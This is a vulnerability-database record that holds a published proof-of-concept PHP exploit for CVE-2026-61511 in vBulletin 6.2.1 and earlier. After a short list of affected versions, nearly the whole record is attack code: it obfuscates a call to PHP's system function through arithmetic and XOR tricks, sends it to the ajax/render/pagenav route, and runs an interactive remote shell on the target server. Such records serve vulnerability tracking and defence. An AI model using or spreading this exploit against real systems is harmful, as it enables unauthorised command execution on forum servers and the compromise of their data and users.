{"uuid": "5cdb9fd9-d9f6-43c5-9eba-752bb2ec06e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-61511", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/3584", "content": "CVE-2026-61511  vBulletin\n*\nAffected Versions\n    vBulletin 6.2.1 and prior\n    vBulletin 6.1.6 and prior\n*\nExploit\n\\n\";\n    print \"\\nExample....: php $argv[0] http://localhost/vb/\";\n    print \"\\nExample....: php $argv[0] https://vbulletin.com/\\n\\n\";\n    die();\n}\n\nfunction encodeChar($char)\n{\n    $numbers = ['0' => '(O)', '1' => '(1)', '2' => '(2)', '3' => '(3)', '4' => '(4)', '5' => '(5)', '6' => '(6)', '7' => '(7)', '8' => '(8)', '9' => '(9)'];\n\n    $char = strval(ord($char));\n\n    $ret = '';\n    for ($i = 0; $i < strlen($char); $i++) $ret .= $numbers[$char[$i]] . '.';\n\n    return rtrim($ret, '.');\n}\n\nfunction makePayload($function, $param)\n{\n    $chr_fun = '((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))';\n\n    $ret = '';\n    foreach (str_split($function) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';\n\n    $ret = \"(\" . rtrim($ret, '.') . ')((';\n\n    foreach (str_split($param) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';\n\n    return rtrim($ret, '.') . '))';\n}\n\n$curl   = curl_init();\n$params = [\"routestring\" => \"ajax/render/pagenav\"];\n\ncurl_setopt($curl, CURLOPT_URL, $argv[1]);\ncurl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER, true);\n//curl_setopt($curl, CURLOPT_PROXY, \"http://127.0.0.1:8080\");\n\nwhile (1) {\n    print \"\\nvb-shell# \";\n    if (($cmd = trim(fgets(STDIN))) == \"exit\") break;\n    $cmd .= \"; echo _____\";\n    $params[\"pagenav[pagenumber]\"] = makePayload(\"system\", $cmd);\n    curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params));\n    preg_match('/_____(.*)_____/s', curl_exec($curl), $m) ? print $m[1] : die(\"\\n[+] Exploit failed! :(\\n\\n\");\n}", "creation_timestamp": "2026-09-03T00:00:39.837160Z"}